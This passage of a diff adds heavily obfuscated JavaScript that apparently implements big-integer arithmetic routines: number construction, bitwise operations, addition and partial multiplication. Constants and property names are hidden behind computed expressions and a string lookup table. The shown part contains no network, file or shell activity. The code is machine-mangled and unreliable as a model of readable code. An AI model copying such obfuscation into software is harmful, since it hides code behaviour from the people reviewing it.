t(44); + var V = n + 20; + t(43); + var O = n + 9; + t(67); + var M = n + 30; + t(26); + var j = n + 8; + t(67); + var F = n + 15 + , G = t(20) + 8; + t(46); + var q = n + 9; + t(19); + var Q = n + 6 + , W = t(44) + 7 + , z = t(55) + 17; + t(48); + var H = n + 17; + t(78); + var Y = n + 23; + t(113); + var Z = n + 27; + t(65); + var X = n + 11; + t(10); + var J = n + 4; + t(16); + var _ = n + 6 + , $ = t(29) + 7; + t(86); + var rr = n + 11; + t(15); + var er = n + 6; + t(30); + var tr = n + 10; + t(64); + var nr = n + 10; + t(69); + var ar = n + 35 + , ir = t(169) + 36; + t(165); + var or = n + 56 + , ur = t(438) + 90; + t(695); + var sr = n + 78; + t(257); + var cr = n + 108; + t(868); + var fr = n + 136 + , vr = t(548) + 106 + , xr = t(526) + 232; + t(783); + var lr = n + 119 + , dr = t(250) + 73 + , hr = t(113) + 31; + t(138); + var pr = n + 43 + , yr = t(295) + 64 + , gr = t(389) + 109; + t(175); + var mr = n + 56; + t(65); + var Cr = n + 23; + t(144); + var br = n + 26; + t(439); + var Er = n + 118 + , Sr = t(161) + 48 + , Ir = t(245) + 50 + , Tr = t(129) + 43; + t(1158); + var Ar = n + 240; + t(4977); + var Br = n + 1608; + t(1602); + var wr = n + 498 + , Nr = o + , Rr = {}; + Rr[Nr("0xdd")] = function(r, e) { + return r < e + } + , + Rr[Nr("0x20f")] = function(r, e) { + return r < e + } + , + Rr.aOqkd = function(r, e) { + return r == e + } + , + Rr[Nr("0x1b1")] = function(r, e) { + return r == e + } + , + Rr[Nr("0x2f")] = function(r, e) { + return r + e + } + , + Rr[Nr("0x1bf")] = function(r, e) { + return r * e + } + ; + var Ur = Rr; + this[Nr("0x180")](-(j - i - v * c - v * f * a - a) * -(F - f * c - c * f * i - i - c * i * v) + (h - a - f - x) * (D - u - i * f * c - a - u * x) - (mr - v * f - f * u * x - u)), + null == e && (e = (l - c - a - f) * (nr - a * x * c - u * c - c * f - a * i * c) + (br - x - c * x * u - v) + -(M - i - u - c * f) * (d - x - v - v - u)); + for (var Dr = this[Nr("0x6b")](e), Lr = Math[Nr("0x20b")](e, Dr), Pr = !(Z - v * f * c - x * x - a - c * i + (Tr - x * f - c - f * c * c - x * u * a) + -(Ir - c * u * i - x - f - u * u) * (Q - x * c * x - f - x * f)), kr = -(X - f * v * v - i * i * f - x * c) * (N - i * f * c - c - u * v - x) + (Ar - u - c - f * c - i * i * u) + -(P - i - f * v - i - a * x) * (y - u * c - u - f - i), Kr = (W - a - i * f * i - i * v * f - i * u * i) * -(yr - x - v * v - a - x * x * f) - (L - f * a * a - a - i * c * u - c * i) + -(er - f * i * v - f * v * x - f * x - i) * -(hr - i * a - c * u * u - i * c * i), Vr = -(sr - c - a * f - u * a * c - f * x * c) * -(R - i * x * a - x - a * i * i) - (cr - a - v - f * x - x * i * u) + -(fr - u * i - f - x * c * v) * (K - i * a - x * i * f - f * f - i * c); Ur[Nr("0xdd")](Vr, r[Nr("0x226")]); ++Vr) { + var Or = p(r, Vr); + Ur.DhiEq(Or, -(A - f * a * c - c * a - i) * (z - f * v - i * v * c - c * c * u - v * v) - (lr - a * v * c - x - i * f) + (Cr - u - i * c - c - i)) ? Ur.aOqkd("-", r[Nr("0xcc")](Vr)) && Ur.QcAoO((k - a * f - u * x * c - u - c * i) * -(tr - v * a - u * v * c - f - a * c * i) - (Er - v * f - f * c * u - a * c * v - a * i * c) + (wr - a - x * i * f - i - i * v * i), this[Nr("0x21f")]()) && (Pr = !(-(dr - c * f * i - v * x - f * a * f) * -(m - v - x * u - u * c) + (q - v - v * c * x - u * u - x * x) * (O - c * u * i - a * v - v * i) + -(V - x - x - v * i * f - c * a * i) * (gr - v * u * x - i * x - u * f * x))) : (Kr = Ur[Nr("0x2f")](Ur[Nr("0x1bf")](e, Kr), Or), + ++kr >= Dr && (this[Nr("0x9d")](Lr), + this[Nr("0x9e")](Kr, (w - v * f - u * f - v * c - f) * (b - u * u - i * i - f * x - a) + -(G - a * a - i - u - c * x * x) * -(or - i * a * c - u * x - x * i * x - v * f) + (xr - u * c - i * v * u - v * c * a - a * a * u) * -(U - v * i * f - i - a)), + kr = Sr - c * a - x - c - f * a + -(_ - c * a - f * f * u - x * v) * (I - v * x - x * i - f * i) + (ar - a * i * x - v * c - x - i * u * u), + Kr = -(rr - f * f - c * v * c - c * a * u - u * x * c) * ($ - u * a - x * v - x * a * i - v * u * u) + (C - u - a - x * v - i * f) * -(vr - f - u * u * a - i - v * c) + (Br - v * c * i - u * a * u - i * f * v - i * x * x))) + } + kr > -(H - x * f - f - c * c - x * f * v) * -(E - a * i - u * x - i) + -(pr - v - v * v - c * u * c - c * a * u) * (B - c - v * a * c - u * c - u) + -(S - v - a * x - v - i) * (J - x * f * v - i * c * v - f) && (this[Nr("0x9d")](Math[Nr("0x20b")](e, kr)), + this[Nr("0x9e")](Kr, (Y - f - u - i - u * f) * (g - a - f - x - u * x) + (ir - i * x - v - x * x) * -(T - u - a - i * a * x - a * f) + (ur - c * i * i - v * x * f - f * v * f))), + Pr && s[Nr("0x1a4")][Nr("0x116")](this, this) + } + , + s[o("0x99")][o("0x1a0")] = function(r, e, t) { + function n(r) { + return a += r + } + var a = 0 + , i = n(4) + 1 + , u = n(1) + 1; + n(1); + var c = a + 1 + , f = n(1) + 1; + n(1); + var v = a + 1 + , x = n(1) + 1; + n(1); + var l = a + 1; + n(57); + var d = a + 12; + n(56); + var h = a + 13; + n(20); + var p = a + 6; + n(54); + var y = a + 18 + , g = n(39) + 10; + n(76); + var C = a + 21; + n(42); + var b = a + 22 + , E = n(24) + 9; + n(50); + var S = a + 13; + n(50); + var I = a + 21 + , T = n(90) + 16; + n(48); + var A = a + 13 + , B = n(78) + 23; + n(20); + var w = a + 6 + , N = n(7) + 3; + n(11); + var R = a + 4 + , U = n(9) + 3; + n(13); + var D = a + 5; + n(20); + var L = a + 10; + n(12); + var P = a + 4; + n(35); + var k = a + 11; + n(83); + var K = a + 15 + , V = n(23) + 4; + n(4); + var O = a + 3; + n(48); + var M = a + 17; + n(34); + var j = a + 9; + n(48); + var F = a + 19 + , G = n(15) + 6; + n(19); + var q = a + 3 + , Q = n(34) + 9; + n(26); + var W = a + 8; + n(57); + var z = a + 17; + n(16); + var H = a + 5; + n(8); + var Y = a + 2; + n(20); + var Z = a + 4; + n(30); + var X = a + 13 + , J = n(33) + 9; + n(37); + var _ = a + 7; + n(11); + var $ = a + 3 + , rr = n(31) + 11 + , er = n(84) + 24; + n(76); + var tr = a + 12 + , nr = n(90) + 29; + n(30); + var ar = a + 9; + n(133); + var ir = a + 27; + n(73); + var or = a + 13; + n(18); + var ur = a + 9; + n(84); + var sr = a + 28; + n(134); + var cr = a + 56 + , fr = n(75) + 16 + , vr = n(16) + 4; + n(25); + var xr = a + 6 + , lr = n(82) + 14; + n(104); + var dr = a + 40; + n(151); + var hr = a + 41; + n(161); + var pr = a + 64; + n(244); + var yr = a + 59 + , gr = n(58) + 24; + n(52); + var mr = a + 19; + n(17); + var Cr = a + 4; + n(437); + var br = a + 205 + , Er = n(175) + 72; + n(358); + var Sr = a + 122; + n(202); + var Ir = a + 65; + n(237); + var Tr = a + 40; + n(85); + var Ar = a + 12; + n(174); + var Br = a + 31; + n(207); + var wr = a + 42; + n(260); + var Nr = a + 62; + n(50); + var Rr = a + 15; + n(190); + var Ur = a + 39 + , Dr = n(198) + 44 + , Lr = n(235) + 42 + , Pr = n(106) + 31; + n(59); + var kr = a + 11; + n(891); + var Kr = a + 277; + n(848); + var Vr = a + 252; + n(734); + var Or = a + 139; + n(206); + var Mr = a + 96; + n(103); + var jr = a + 44; + n(47); + var Fr = a + 18; + n(168); + var Gr = a + 28; + n(143); + var qr = a + 31; + n(91); + var Qr = a + 18; + n(405); + var Wr = a + 107; + n(1616); + var zr = a + 533 + , Hr = n(1235) + 490; + n(1101); + var Yr = a + 259; + n(2059); + var Zr = a + 849 + , Xr = o + , Jr = {}; + Jr[Xr("0x1e1")] = function(r, e) { + return r == e + } + , + Jr.FDuQJ = "number", + Jr[Xr("0x1e4")] = function(r, e) { + return r < e + } + , + Jr[Xr("0x144")] = function(r, e) { + return r - e + } + , + Jr.LqSWz = function(r, e) { + return r - e + } + , + Jr[Xr("0x17f")] = function(r, e) { + return r > e + } + , + Jr[Xr("0x124")] = function(r, e) { + return r & e + } + , + Jr[Xr("0x86")] = function(r, e) { + return r + e + } + , + Jr.oHIKC = function(r, e) { + return r >> e + } + , + Jr[Xr("0xad")] = function(r, e) { + return r << e + } + ; + var _r = Jr; + if (_r.CVxcF(_r[Xr("0x197")], typeof e)) + if (_r[Xr("0x1e4")](r, Ar - i * l * i - u * u - u * l - c * i + -(U - u * v * x - v * v - c) * (I - c - c * x * i - c - c * f) + (Ur - i * x * f - l * u - i - v * v) * (P - i * i * v - c - c - i * l * x))) + this[Xr("0x180")](Er - c * x * u - v * f * l - f * v * u - l * i * c + (sr - l * l - f * u - u) + -(dr - f - l * l * v - x * x * l - f) * (j - u * c - x * u * x - x * u * u - u)); + else + for (this.fromNumber(r, t), + this[Xr("0x1fe")](_r[Xr("0x144")](r, (p - f * f - u - x * c - c) * -(Tr - v * f * c - f * l - i * u - f) - (Br - f - l * f - u * v) + -(g - f * u - u * x - f * c - v * v) * -(Hr - x - f * x - l * u * c))) || this.bitwiseTo(s[Xr("0x1d4")][Xr("0xd6")](_r[Xr("0x224")](r, or - c - l * c - x - f * i - (kr - f * i * c - v - l * f * l - l * v) + (br - v - i * u * u - u * f - c * l * c))), m, this), + this[Xr("0x60")]() && this[Xr("0x9e")](-(Y - u - x - i * l * v) * -(ir - i - u * l * x - f * l * i - f * v * x) + (Vr - u - x * x - f - f * v * u) * (S - u * l - v * u - x * f - i * f * u) + -(ur - c * i * x - u - c - i) * (h - f - v * u - v * c), -(Gr - f - u * l - l * u - x * l * x) * ($ - l * u * f - l * f * v - f * i - v) + -(hr - l * x * x - i * i * i - f * l * l - c * u * x) * (Fr - l * c - f * x - i * v - c * u * l) + (Zr - i * i - x * l - v * c * i)); !this[Xr("0x151")](e); ) + this[Xr("0x9e")]((T - f - l - u * x * v - x) * (rr - v - l * l * v - x * c) - (Sr - c - v * i * x - v * i * i - f * f) - (z - i - u - v * x * l - l * u), (q - x * l - l * c * l - x) * -(D - v * x * u - f * f - u * u - x * l) - (yr - u - x * f * f - i) + -(y - f * l - i * l - c * c) * -(R - v * u - u * c * x - v * f - i * c)), + _r[Xr("0x17f")](this[Xr("0x203")](), r) && this[Xr("0x116")](s.ONE.shiftLeft(_r[Xr("0x224")](r, -(Kr - i * f - i - l * x) * -(fr - v * v * f - v * l * v - l - l * u * x) + (Cr - u * x * l - c * v - v * x - l * l * i) * -(K - l * v * c - i * c * u - f - i) + (gr - f * i * f - c * l * v - i * u) * -(V - c * i * l - u * f - l - v * u * v))), this); + else { + var $r = new Array + , re = _r.FvcPV(Dr - x * f * f - f * l * v - x * u * x - l * c * v + -(Nr - c - v * v * i - l - f) * -(L - l * i * c - l * x - f - c * f * i) - (qr - x - i * x * u - f * l - l * v * x), r); + $r[Xr("0x226")] = _r[Xr("0x86")]((w - i * f * x - x - f - u * x * i) * (Pr - f * i * x - i - v * l * c - i * i * l) + -(N - l * f - f * l * c - v - x) * -(Rr - l * l - c * i - f * l * v) + (A - x - i * x * i - i * v * f - f) * -(Yr - v * x - u - c * v - f * c), _r.oHIKC(r, ar - f * f * x - v * u * l - f - u * u + (jr - v - v - i - f * v * l) - (Or - v * x - x * v - x - i))), + e[Xr("0x1f4")]($r), + re > pr - l * u * l - c - i + -(d - c - i * l - c - u) * -(lr - u - l * x - l * u) - (zr - i * l - f * c * l - u * v * f - x * x) ? $r[-(b - u * c - l - v * c * i - u) * -(xr - l - i * x - f * i) + (G - f - u - l * c * v - u * c) * -(W - f * v - f - f * x - v * x * l) + -(H - f * i * u - f * x * c - u * f * v) * -(C - u * i * c - c * x - u)] &= _r[Xr("0x224")](_r.xUzDf(-(X - l * l * x - f - f * x) * (mr - f * u - l - i * c * i) + (J - u * c * u - i * f * c - v * l) + (vr - v - x - v - x), re), -(Z - v - v * v * v - i * x - i * c) * -(E - i - v * c * i - l - u * u) + (_ - u * c * l - i * u * c - l * c * u - f * v) + -(O - f * x - c * x - f * v * x - v * c) * (Qr - l * i * u - u * v - c * u - i)) : $r[(F - l - i * i - l * x * v - l) * (tr - f * x * f - l - c * x * v - c * v) - (cr - i * u - f - v - c) + -(B - u * v * u - f - f * u * f) * (Mr - f * l * i - c - x * v * v)] = -(Q - u * c * u - v * c * i - l * i * v - u) * (d - c * f - c - i) - (Ir - v - l * l * f - f * f * c - v) + -(wr - f * l * x - u * v - x - i * x * f) * -(er - x * i * u - x * x * l - i - x * x), + this[Xr("0x18f")]($r, -(k - v - u - f) * -(M - f * v - u * v * c - u * f * l - v) + (Wr - l - x - c * f * f) + -(nr - x * v * l - i * v * u - v * u - f * i * v) * (Lr - v * u * i - c * l - v * f - l * c)) + } + } + , + s[o("0x99")][o("0x66")] = function(r, e, t) { + function n(r) { + return a += r + } + var a = 0; + n(4); + var i = a + 1 + , u = n(0) + 2; + n(2); + var s = a + 1 + , c = n(0) + 2 + , f = n(1) + 2; + n(1); + var v = a + 2; + n(1); + var x = a + 2; + n(368); + var l = a + 112; + n(3342); + var d = a + 971; + n(3082); + var h = a + 829; + n(4820); + var p = a + 615 + , y = o + , g = { + cZEby: function(r, e) { + return r < e + } + }; + g[y("0x14b")] = function(r, e, t) { + return r(e, t) + } + , + g.ZwBtq = function(r, e) { + return r & e + } + , + g.hkJZF = function(r, e) { + return r < e + } + , + g.lgTQA = function(r, e) { + return r < e + } + , + g[y("0xfd")] = function(r, e, t) { + return r(e, t) + } + ; + var m, C, b = g, E = Math[y("0x23e")](r.t, this.t); + for (m = -(h - i * c - s * s - v * i * c - c) * (l - c * i - u * f * c - s - f) - (d - v - s - f * u * x - s) + (p - v * u - s * c - v * c * x - i * s); b.cZEby(m, E); ++m) + t[y("0x19")][m] = b[y("0x14b")](e, this[y("0x19")][m], r[y("0x19")][m]); + if (b[y("0xa5")](r.t, this.t)) { + for (C = b[y("0x8e")](r.s, this.DM), + m = E; b[y("0xe7")](m, this.t); ++m) + t[y("0x19")][m] = e(this.data[m], C); + t.t = this.t + } else { + for (C = b.ZwBtq(this.s, this.DM), + m = E; b[y("0x22e")](m, r.t); ++m) + t[y("0x19")][m] = e(C, r[y("0x19")][m]); + t.t = r.t + } + t.s = b.buJHn(e, this.s, r.s), + t[y("0x7a")]() + } + , + s[o("0x99")][o("0xd3")] = function(r, e) { + var t = o + , n = s[t("0x1d4")][t("0xd6")](r); + return this.bitwiseTo(n, e, n), + n + } + , + s.prototype[o("0x210")] = function(r, e) { + function t(r) { + return n += r + } + var n = 0; + t(3); + var a = n + 2; + t(2); + var i = n + 1; + t(1); + var u = n + 1; + t(0); + var s = n + 2; + t(2); + var c = n + 1; + t(1); + var f = n + 1 + , v = t(0) + 2; + t(38); + var x = n + 12; + t(10); + var l = n + 3; + t(65); + var d = n + 14; + t(210); + var h = n + 32; + t(257); + var p = n + 33; + t(94); + var y = n + 14 + , g = t(61) + 15; + t(55); + var m = n + 17; + t(73); + var C = n + 24 + , b = t(60) + 20; + t(145); + var E = n + 56 + , S = t(516) + 128 + , I = t(284) + 67; + t(159); + var T = n + 63 + , A = t(163) + 41 + , B = t(112) + 17; + t(90); + var w = n + 22; + t(125); + var N = n + 58 + , R = t(216) + 58; + t(304); + var U = n + 78; + t(641); + var D = n + 133; + t(207); + var L = n + 35 + , P = t(222) + 36; + t(798); + var k = n + 152 + , K = t(851) + 124; + t(521); + var V = n + 233; + t(921); + var O = n + 459; + t(545); + var M = n + 124 + , j = t(1193) + 339 + , F = t(789) + 159; + t(1750); + var G = n + 357; + t(1187); + var q = n + 196 + , Q = o + , W = {}; + W[Q("0x25")] = function(r, e) { + return r(e) + } + , + W[Q("0x54")] = function(r, e) { + return r + e + } + , + W[Q("0x1a6")] = '{}.constructor("return this")( )', + W[Q("0x174")] = function(r, e) { + return r < e + } + , + W[Q("0x218")] = function(r, e) { + return r + e + } + , + W[Q("0xfe")] = function(r, e) { + return r & e + } + , + W[Q("0xe3")] = function(r, e) { + return r === e + } + , + W[Q("0x195")] = "Snfek", + W.KFbpz = function(r, e) { + return r < e + } + , + W[Q("0x5")] = function(r, e) { + return r & e + } + , + W[Q("0x1c8")] = function(r, e) { + return r > e + } + , + W[Q("0x1")] = function(r, e) { + return r < e + } + , + W[Q("0x3a")] = function(r, e) { + return r + e + } + ; + for (var z = W, H = -(j - s * v * s - u * s * s - f * i - c * u) - (k - v * u * i - u - s * s * c - f * c * a) + (q - u * v * v - v * s - u * u * u - c), Y = O - c * u - s - f + (R - i * f - u * a * s - a * u - s) + (D - i * c - a - u - f * u * i) * -(d - u * u - v * u - u), Z = Math[Q("0x23e")](r.t, this.t); z[Q("0x174")](H, Z); ) + Y += z[Q("0x218")](this[Q("0x19")][H], r[Q("0x19")][H]), + e[Q("0x19")][H++] = Y & this.DM, + Y >>= this.DB; + if (z.MpnmF(r.t, this.t)) { + for (Y += r.s; H < this.t; ) + Y += this.data[H], + e[Q("0x19")][H++] = z[Q("0xfe")](Y, this.DM), + Y >>= this.DB; + Y += this.s + } else if (z[Q("0xe3")](z[Q("0x195")], z[Q("0x195")])) { + for (Y += this.s; z.KFbpz(H, r.t); ) + Y += r[Q("0x19")][H], + e[Q("0x19")][H++] = z.ileIX(Y, this.DM), + Y >>= this.DB; + Y += r.s + } else + ;e.s = z[Q("0x71")](Y, M - i * v - v * u * a - u * f + (I - c * u - i * a * c - c - s) * -(x - a * s - c - c) + -(g - c - u - a * f * s - i * u * s) * (A - f * s * v - f * i - i * i * v - c * c)) ? -(-(y - c * c - i - a * a * c - s * i * s) * (F - a - i - a * c) + -(b - s * a * v - u * s * u - u - f * v) * (B - s * c * u - i - c * i * s - s * i * c) + (C - f * s - a * i * i - s * a * a - s * c * i) * (L - i * u - f * c - u * v * s - i)) : (P - f * a - s - f - v * v) * (l - s - s * a - f) + -(h - f - a * i * c - i - u * s) * -(E - c * c * f - c * c - s - i * s) + -(N - v * u - c - i * c * s - u * c) * (m - c * s * f - s * a - a * f), + z[Q("0x1c8")](Y, -(U - i * v - f * v * f - f * c * i - f) * (T - i * i - v * s * v - v * v * c) + -(p - s * v - u * u * c - s * f - s) * -(S - f - a * u * f - c * v - f) + (w - v * i - f - c - i * a * a)) ? e[Q("0x19")][H++] = Y : z[Q("0x1")](Y, -(K - c * v * v - v - s * u + (V - s - v * v * a - v * c - a) - (G - c * c * c - u - u * f * s - v))) && (e[Q("0x19")][H++] = z[Q("0x3a")](this.DV, Y)), + e.t = H, + e.clamp() + } + , + s[o("0x99")][o("0x9d")] = function(r) { + function e(r) { + return t += r + } + var t = 0; + e(3); + var n = t + 2; + e(1); + var a = t + 2; + e(1); + var i = t + 2; + e(1); + var u = t + 2; + e(1); + var s = t + 2; + e(2); + var c = t + 1 + , f = e(1) + 1; + e(113); + var v = t + 35; + e(59); + var x = t + 18; + e(22); + var l = t + 9; + e(164); + var d = t + 22 + , h = e(273) + 120; + e(252); + var p = t + 55; + e(280); + var y = t + 77 + , g = e(70) + 26; + e(28); + var m = t + 8; + e(59); + var C = t + 8; + e(132); + var b = t + 33; + e(138); + var E = t + 57 + , S = e(1192) + 323 + , I = e(279) + 61; + e(431); + var T = t + 98; + e(280); + var A = t + 40; + e(255); + var B = t + 98; + e(5326); + var w = t + 831 + , N = e(8938) + 1296 + , R = o + , U = { + hVwee: function(r, e) { + return r - e + } + } + , D = U; + this[R("0x19")][this.t] = this.am(-(E - n * i * c - n * s * f - f * n * c - s) * (x - n * u - u - a - c * f) - (w - c * n - s * f * c - f - u) + (N - s * n * s - f * s * s - c - a * u), D.hVwee(r, (b - s * a - n * n - f * f * f - u * i) * (v - c * n - a * c - n) - (B - s * n - u * n * i - a * s - u * s * n) + (A - c - a * c - f * u * s - c * s * s)), this, -(p - c * u - u * f - f * n * n - i * s * u) * -(I - s - s - n * n * i - s) + (S - i * n - n * a * a - i * a * c - s) * -(y - a - i * s * s - u * f * i - c * a) - (m - f * i * c - i * n - a - s), -(h - c * i - n - n * n - a * c * f) * -(T - i * n - u * f - f - n) + -(d - i * n * i - n - s * s - f * n) * (g - n * n - f * u - f) + -(l - u * c - a - c * a - a * f) * -(C - s * i - c * s - f * a), this.t), + ++this.t, + this[R("0x7a")]() + } + , + s[o("0x99")][o("0x9e")] = function(r, e) { + function t(r) { + return n += r + } + var n = 0; + t(4); + var a = n + 1 + , i = t(1) + 1; + t(1); + var u = n + 1; + t(1); + var s = n + 1; + t(1); + var c = n + 1; + t(1); + var f = n + 1; + t(1); + var v = n + 1 + , x = t(17) + 5 + , l = t(29) + 9 + , d = t(120) + 28; + t(251); + var h = n + 109; + t(173); + var p = n + 56 + , y = t(107) + 28; + t(22); + var g = n + 8; + t(364); + var m = n + 76; + t(71); + var C = n + 17; + t(66); + var b = n + 18; + t(2103); + var E = n + 538; + t(2754); + var S = n + 805; + t(992); + var I = n + 419; + t(1468); + var T = n + 584; + t(953); + var A = n + 271 + , B = o + , w = {}; + w[B("0xde")] = function(r, e) { + return r != e + } + , + w[B("0x152")] = function(r, e) { + return r >= e + } + ; + var N = w; + if (N[B("0xde")](-(I - c * s * s - u * f * c - c) * (h - c - i - s - s * s * s) + (A - s * a * u - s * a - f * f * f - f * a * s) + -(g - i - u * c * s - i) * (x - s - c - u), r)) { + for (; this.t <= e; ) + this[B("0x19")][this.t++] = (y - i * c - c - f * u - u * c) * -(p - s * a - i - v * i * c - v) - (m - u * v - u * a - s * i) + (E - s - u - f * v - u * i); + for (this[B("0x19")][e] += r; this.data[e] >= this.DV; ) + this[B("0x19")][e] -= this.DV, + N[B("0x152")](++e, this.t) && (this[B("0x19")][this.t++] = (S - f - f * s * a - a * a) * (l - f - i - i * s) + -(b - i * v * v - u - c * s * u - f) * -(T - v * c - i * c - v * v - a) + -(d - i - c * a - c * f) * (C - a * a * v - c * a * u - a - u * u * u)), + ++this[B("0x19")][e] + } + } + , + s[o("0x99")][o("0x5a")] = function(r, e, t) { + function n(r) { + return a += r + } + var a = 0; + n(3); + var i = a + 2 + , u = n(1) + 2 + , s = n(2) + 1; + n(1); + var c = a + 1; + n(1); + var f = a + 1; + n(0); + var v = a + 2 + , x = n(2) + 1 + , l = n(42) + 11; + n(62); + var d = a + 31 + , h = n(109) + 28; + n(332); + var p = a + 64 + , y = n(83) + 21; + n(48); + var g = a + 13; + n(16); + var m = a + 6; + n(52); + var C = a + 20; + n(132); + var b = a + 31; + n(87); + var E = a + 20 + , S = n(146) + 63; + n(189); + var I = a + 22; + n(112); + var T = a + 20; + n(65); + var A = a + 20; + n(28); + var B = a + 8; + n(33); + var w = a + 13; + n(98); + var N = a + 16; + n(87); + var R = a + 28; + n(177); + var U = a + 20 + , D = n(604) + 160 + , L = n(376) + 122 + , P = n(1228) + 315; + n(519); + var k = a + 82; + n(300); + var K = a + 129; + n(1214); + var V = a + 594 + , O = n(767) + 215 + , M = n(436) + 90; + n(400); + var j = a + 82; + n(745); + var F = a + 309; + n(353); + var G = a + 95; + n(504); + var q = a + 94 + , Q = n(1177) + 400 + , W = n(3543) + 505 + , z = o + , H = {}; + H[z("0xe0")] = z("0x13a"), + H[z("0x9")] = function(r, e) { + return r - e + } + , + H[z("0x1af")] = function(r, e) { + return r < e + } + , + H[z("0x122")] = function(r, e) { + return r + e + } + , + H[z("0x13f")] = function(r, e) { + return r > e + } + , + H[z("0x162")] = function(r, e) { + return r < e + } + , + H.GmCzX = function(r, e) { + return r - e + } + ; + for (var Y = H, Z = Y[z("0xe0")][z("0x1b6")]("|"), X = K - x * x * c - v * v * c - c * x * v - (V - u - u * c - i - f * i) + (m - f * v - c * u * c - f * f - v * i) * (g - c * v * c - v - c); ; ) { + switch (Z[X++]) { + case "0": + for (J = Y[z("0x9")](t.t, this.t); Y.weYMP(_, J); ++_) + t[z("0x19")][Y[z("0x122")](_, this.t)] = this.am(Q - x * f * u - s * x - f - c * u * x + (C - c - c - f * v) * -(b - x * f * c - v * u - x - s * s) - (O - c * i - v * x * u - c * u), r.data[_], t, _, D - v * c - u * x * i - s - u * v * f + (U - f * s - f * u * v - s - i * f * u) - (L - i * v - i * v - s * x - v * s), this.t); + continue; + case "1": + t[z("0x7a")](); + continue; + case "2": + for (t.s = q - i * u * x - s * x * v - x - i * f * x - (j - v * u - s * c * s - s * i * v - v * i) - (E - u * u - f - x - x * s), + t.t = _; Y[z("0x13f")](_, F - c * s - s * s * i - i * f - c - (R - i - i - c * s - c) + -(M - v * s - f * u * f - i * x - c * c) * (y - f - c * c - c * s * v - i * i)); ) + t[z("0x19")][--_] = (T - i * s * u - i * c * v - c * i * f - u * x) * (p - s * v * i - s * i * s - v) - (k - c * s * i - f * f * s - f * f * x - x * v) + (I - f * i - x - s * u * c - f) * -(A - u * f * c - v * c * s - c * i * x - v * s); + continue; + case "3": + var J, _ = Math[z("0x23e")](Y[z("0x122")](this.t, r.t), e); + continue; + case "4": + for (J = Math.min(r.t, e); Y[z("0x162")](_, J); ++_) + this.am(G - v * v * c - c * x * s - i - c + (d - u * v - i - c * u - i * i) * (B - c * f * x - s * f - u * v * u) + -(l - x - i - i * i) * (w - u * i - v * c * f - v * s - v * i * u), r[z("0x19")][_], t, _, -(S - x * f - v * s * f - i - x * i * c) * (N - u - c * v - i * c * c - s) - (P - u - c * f * v - v * x * i - v) + (W - i * u * x - u * c * f - c * s * x - c * v) * (h - i * i - u * u * u - f), Y[z("0x19e")](e, _)); + continue + } + break + } + } + , + s[o("0x99")].multiplyUpperTo = function(r, e, t) { + function n(r) { + return a += r + } + var a = 0; + n(3); + var i = a + 2 + , u = n(1) + 2; + n(2); + var s = a + 1; + n(1); + var c = a + 1; + n(1); + var f = a + 1 + , v = n(1) + 1; + n(1); + var x = a + 1; + n(43); + var l = a + 17; + n(115); + var d = a + 24 + , h = n(168) + 42; + n(52); + var p = a + 19; + n(44); + var y = a + 12 + , g = n(102) + 32 + , m = n(30) + 9 + , C = n(20) + 5; + n(11); + var b = a + 5; + n(126); + var E = a + 34; + n(33); + var S = a + 5; + n(48); + var I = a + 23; + n(204); + var T = a + 44 + , A = n(102) + 23; + n(27); + var B = a + 7; + n(113); + var w = a + 30; + n(142); + var N = a + 23; + n(29); + var R = a + 5; + n(100); + var U = a + 23; + n(31); + var D = a + 11 + , L = n(57) + 24; + n(170); + var P = a + 44; + n(67); + var k = a + 16; + n(124); + var K = a + 37 + , V = n(150) + 41; + n(178); + var O = a + 37 + , M = n(497) + 82; + n(430); + var j = a + 145; + n(377); + var F = a + 143 + , G = n(337) + 95 + , q = n(324) + 115; + n(1415); + var Q = a + 536; + n(418); + var W = a + 167; + n(261); + var z = a + 55; + n(859); + var H = a + 260 + , Y = n(589) + 78; + n(557); + var Z = a + 128 + , X = n(1175) + 386; + n(754); + var J = a + 154; + n(229); + var _ = a + 33 + , $ = o + , rr = {}; + rr[$("0x235")] = function(r, e) { + return r >= e + } + , + rr.NmaCY = function(r, e) { + return r - e + } + , + rr[$("0x7f")] = function(r, e) { + return r + e + } + , + rr[$("0x4b")] = function(r, e) { + return r + e + } + , + rr[$("0x6a")] = function(r, e) { + return r - e + } + ; + for (var er = rr, tr = $("0x1e8")[$("0x1b6")]("|"), nr = (S - c * f * f - v * v - v) * -(D - u - s * u - c - f * u) - (z - x * f * x - f * v * i - c * u) + (Y - x * i * f - s - i * s * x - c * v * f); ; ) { + switch (tr[nr++]) { + case "0": + for (t.s = (d - f * s - v - f * v - x) * -(k - f * f * c - v * i - u * c - x * x * s) - (X - x * i * s - f * u - v - v * s * x) + -(B - x * i * u - s * v - f * s * x - f * i) * -(q - u * i * s - f - s * u * v - f * c * i); er.NUxcB(--ar, (P - u * f * s - v * c * x - i - s * v * u) * -(I - s * u - u * c * x - u * u * u) + -(p - s * f - f * s - f * i * i - f * u) * -(L - f * s - c - x - c * v) + (M - i - s * s * u - i * x - x * s)); ) + t[$("0x19")][ar] = G - v - f - s * i + (U - f * c - s * f * f - f * f * x - s) * -(A - x * c - x * c * c - c - x) + (g - u - x * f - c * x - s * f * i) * -(C - v * i * v - u - s * u); + continue; + case "1": + var ar = t.t = er.NmaCY(er.QMviW(this.t, r.t), e); + continue; + case "2": + --e; + continue; + case "3": + for (ar = Math[$("0x189")](e - this.t, -(E - f * f - v * c * s - v * u - s) * (h - u - c - v - s * s * s) - (O - s * x * u - f * u * x - f * i * v - u * v * c) + (K - x * x * c - x * s * s - s * u * x) * (m - x * i * s - v * s - u - x * c)); ar < r.t; ++ar) + t[$("0x19")][er[$("0x4b")](this.t, ar) - e] = this.am(e - ar, r[$("0x19")][ar], t, (W - c * x * u - s - u) * -(V - v * c * x - u * u * f - f * f * x - f * s) + -(T - f - u * c * f - c - u * v * v) * (_ - x * x * v - v * c * v - x - c) + (H - f - i * v - s * s * u) * (l - s - u * f - s), -(R - f * u * u - u * f * x - i * v * f - i * x) * (N - s * s - u - u) - (Z - u * i - i - c - v) + -(y - u * s - x * u * u - i) * -(J - u - c * s * v - v * f), er.GVreM(this.t + ar, e)); + continue; + case "4": + t[$("0x7a")](), + t[$("0x34")]((j - i - i * u * i - v - u * s) * (w - x * u - s - v * s * v - c * f * s) + (F - u * s * s - f * f * v - c * s - s * i * u) + (b - i * i - i * f * x - u * f - i * i) * -(Q - v * f - x * f - c * v * i - v * f), t); + continue + } + break + } + } + , + s.prototype[o("0x7b")] = function(r) { + function e(r) { + return t += r + } + var t = 0 + , n = e(3) + 2; + e(1); + var a = t + 2; + e(1); + var i = t + 2; + e(2); + var u = 